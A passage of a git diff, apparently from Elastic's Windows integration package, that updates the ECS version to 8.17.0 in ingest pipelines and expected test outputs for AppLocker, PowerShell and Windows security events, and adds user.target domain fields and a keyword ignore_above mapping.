a/packages/windows/data_stream/applocker_packaged_app_deployment/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/applocker_packaged_app_deployment/elasticsearch/ingest_pipeline/default.yml index 8df7ba271d4..77033a7e676 100644 --- a/packages/windows/data_stream/applocker_packaged_app_deployment/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/applocker_packaged_app_deployment/elasticsearch/ingest_pipeline/default.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.9.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level diff --git a/packages/windows/data_stream/applocker_packaged_app_deployment/manifest.yml b/packages/windows/data_stream/applocker_packaged_app_deployment/manifest.yml index a08d1582b6a..bde4b1700e3 100644 --- a/packages/windows/data_stream/applocker_packaged_app_deployment/manifest.yml +++ b/packages/windows/data_stream/applocker_packaged_app_deployment/manifest.yml @@ -1,5 +1,14 @@ type: logs title: 'Windows AppLocker/Packaged app-Deployment logs' +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog enabled: false diff --git a/packages/windows/data_stream/applocker_packaged_app_execution/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-execution.json-expected.json b/packages/windows/data_stream/applocker_packaged_app_execution/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-execution.json-expected.json index b689809fa5c..9db20c9de21 100644 --- a/packages/windows/data_stream/applocker_packaged_app_execution/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-execution.json-expected.json +++ b/packages/windows/data_stream/applocker_packaged_app_execution/_dev/test/pipeline/test-events-microsoft-windows-applocker-packaged-app-execution.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2023-08-13T13:53:33.706Z", "ecs": { - "version": "8.9.0" + "version": "8.17.0" }, "event": { "category": [ @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/applocker_packaged_app_execution/elasticsearch/ingest_pipeline/default.yml b/packages/windows/data_stream/applocker_packaged_app_execution/elasticsearch/ingest_pipeline/default.yml index 484da47b9f3..8d762b91db0 100644 --- a/packages/windows/data_stream/applocker_packaged_app_execution/elasticsearch/ingest_pipeline/default.yml +++ b/packages/windows/data_stream/applocker_packaged_app_execution/elasticsearch/ingest_pipeline/default.yml @@ -5,7 +5,7 @@ processors: - set: field: ecs.version - value: '8.9.0' + value: '8.17.0' - set: field: log.level copy_from: winlog.level diff --git a/packages/windows/data_stream/applocker_packaged_app_execution/manifest.yml b/packages/windows/data_stream/applocker_packaged_app_execution/manifest.yml index a7a0b5eacf9..3df656cdc55 100644 --- a/packages/windows/data_stream/applocker_packaged_app_execution/manifest.yml +++ b/packages/windows/data_stream/applocker_packaged_app_execution/manifest.yml @@ -1,5 +1,14 @@ type: logs title: 'Windows AppLocker/Packaged app-Execution logs' +elasticsearch: + index_template: + mappings: + dynamic_templates: + - override_ignore_above: + match_mapping_type: string + mapping: + type: keyword + ignore_above: 2048 streams: - input: winlog enabled: false diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-events.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-events.json-expected.json index a648dc4cbc6..4d3cc5638d0 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-events.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-events.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2020-05-13T09:04:04.755Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -68,7 +68,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -179,7 +179,7 @@ { "@timestamp": "2020-05-13T10:40:32.595Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -238,7 +238,7 @@ { "@timestamp": "2020-05-14T11:33:51.389Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -300,7 +300,7 @@ { "@timestamp": "2023-06-01T05:27:01.247Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Executing Pipeline", @@ -425,7 +425,7 @@ { "@timestamp": "2024-09-09T16:53:34.055Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "PowerShell Console Startup", @@ -484,4 +484,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json-expected.json index 8d705d138d0..fadee229935 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-powershell-operational-events.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2020-05-13T09:04:04.755Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -68,7 +68,7 @@ } }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -179,7 +179,7 @@ { "@timestamp": "2020-05-13T10:40:32.595Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -238,7 +238,7 @@ { "@timestamp": "2020-05-14T11:33:51.389Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "category": [ @@ -301,7 +301,7 @@ { "@timestamp": "2023-06-01T05:27:01.247Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "Executing Pipeline", @@ -424,4 +424,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1100.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1100.json-expected.json index 55bea56f84d..aa953c3c414 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1100.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1100.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logging-service-shutdown", @@ -61,4 +61,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1102.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1102.json-expected.json index b17cc28cfb3..5259fdd2d93 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1102.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1102.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "audit-log-cleared", @@ -82,4 +82,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1104.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1104.json-expected.json index 0e0a42d264b..e99533cce84 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1104.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1104.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "logging-full", @@ -61,4 +61,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1105.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1105.json-expected.json index 85e082787e3..e05c8aa38a1 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1105.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-1105.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "auditlog-archieved", @@ -66,4 +66,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4662.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4662.json-expected.json index 0e84fd94356..01e7efccdbb 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4662.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4662.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2015-08-28T01:58:36.894Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "object-operation-performed", diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4670-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4670-windowssrv2016.json-expected.json index a451ef05159..128c0bf7e79 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4670-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4670-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "permissions-changed", @@ -98,4 +98,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4674.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4674.json-expected.json index f237282de9e..cc32021f128 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4674.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4674.json-expected.json @@ -11,7 +11,7 @@ "version": "7.15.2" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "privileged-operation", @@ -105,7 +105,7 @@ { "@timestamp": "2022-08-01T08:53:50.333Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "privileged-operation", diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4706-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4706-windowssrv2016.json-expected.json index 96ffb22c332..7cd2ab32258 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4706-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4706-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "domain-trust-added", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4707-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4707-windowssrv2016.json-expected.json index ef88e19d3fe..5ee9055c324 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4707-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4707-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "domain-trust-removed", @@ -82,4 +82,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4713-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4713-windowssrv2016.json-expected.json index 28e7da1e8ac..bd8c572841c 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4713-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4713-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "kerberos-policy-changed", @@ -82,4 +82,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4716-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4716-windowssrv2016.json-expected.json index a0299fc3afc..d3bddeddc4b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4716-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4716-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "trusted-domain-information-changed", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4717-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4717-windowssrv2016.json-expected.json index 69a348a51c5..cadd5b3fe5b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4717-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4717-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "system-security-access-granted", @@ -85,4 +85,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4718-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4718-windowssrv2016.json-expected.json index a8513c35e2e..f4b533df21d 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4718-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4718-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "system-security-access-removed", @@ -85,4 +85,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719-windowssrv2016.json-expected.json index 23f88c7bb43..e3bfefd47d9 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-audit-config", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719.json-expected.json index 7f841c5b6be..eca02f2589b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4719.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-audit-config", @@ -93,4 +93,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4738.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4738.json-expected.json index 52d5d89c7b8..ffdc42d6016 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4738.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4738.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2022-08-01T08:49:58.825Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "modified-user-account", @@ -39,7 +39,12 @@ "user": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2794", - "name": "at_adm" + "name": "at_adm", + "target": { + "domain": "TEST", + "id": "S-1-5-21-1717121054-434620538-60925301-8884", + "name": "anatest1" + } }, "winlog": { "channel": "Security", @@ -97,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4739-windowssrv2016.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4739-windowssrv2016.json-expected.json index 09b21e4f6ef..cec7b03b0d7 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4739-windowssrv2016.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4739-windowssrv2016.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "domain-policy-changed", @@ -89,4 +89,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4742.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4742.json-expected.json index fa32b9d3265..4aef20bd2e5 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4742.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4742.json-expected.json @@ -3,7 +3,7 @@ { "@timestamp": "2022-08-01T08:56:47.974Z", "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-computer-account", @@ -105,4 +105,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4743.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4743.json-expected.json index a231bd44146..13f65c38aa9 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4743.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4743.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-computer-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4744.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4744.json-expected.json index c60486bdf3c..057ac128a92 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4744.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4744.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-distribution-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4745.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4745.json-expected.json index 8c26f8ff573..5dfde986cf1 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4745.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4745.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-distribution-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746-user.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746-user.json-expected.json index 142696f5055..31e2faf2523 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746-user.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746-user.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2903", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746.json-expected.json index d142de2c69c..b76e88404f3 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4746.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2903", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4747.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4747.json-expected.json index 2ab46660d57..0586554ce94 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4747.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4747.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "removed-member-from-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2903", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4748.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4748.json-expected.json index b98f853f133..84611a2e2c9 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4748.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4748.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-distribution-group-account", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4749.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4749.json-expected.json index 196d4832208..d806d055e45 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4749.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4749.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-distribution-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4750.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4750.json-expected.json index 91e13a11ce9..e4f4b25bde8 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4750.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4750.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-distribution-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4751.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4751.json-expected.json index 0076b29ecb6..0c5ffa445fe 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4751.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4751.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2904", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4752.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4752.json-expected.json index a16ab591b22..c8fcc82a6ae 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4752.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4752.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "removed-member-from-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2904", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4753.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4753.json-expected.json index 2863331bd89..1f4e678400c 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4753.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4753.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-distribution-group-account", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4759.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4759.json-expected.json index e1ec0845357..6e4b84a4e24 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4759.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4759.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-distribution-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4760.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4760.json-expected.json index cf0400890b2..20353f31f8a 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4760.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4760.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "changed-distribution-group-account", @@ -92,4 +92,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4761.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4761.json-expected.json index 31d5fd55ab9..fe20d11840b 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4761.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4761.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "added-member-to-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2905", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4762.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4762.json-expected.json index 57ff6aecbe6..0451d1f3f48 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4762.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4762.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "removed-member-from-distribution-group", @@ -55,6 +55,7 @@ "id": "S-1-5-21-1717121054-434620538-60925301-2794", "name": "at_adm", "target": { + "domain": "SAAS", "group": { "domain": "TEST", "id": "S-1-5-21-1717121054-434620538-60925301-2905", @@ -101,4 +102,4 @@ } } ] -} \ No newline at end of file +} diff --git a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4763.json-expected.json b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4763.json-expected.json index 2e70db62823..8d4a3e45a97 100644 --- a/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4763.json-expected.json +++ b/packages/windows/data_stream/forwarded/_dev/test/pipeline/test-security-4763.json-expected.json @@ -10,7 +10,7 @@ "version": "8.0.0" }, "ecs": { - "version": "8.0.0" + "version": "8.17.0" }, "event": { "action": "deleted-distribution-group-account", @@ -90,4 +90,4 @@ } } ] -} \ No newline at end of file +} diff --git 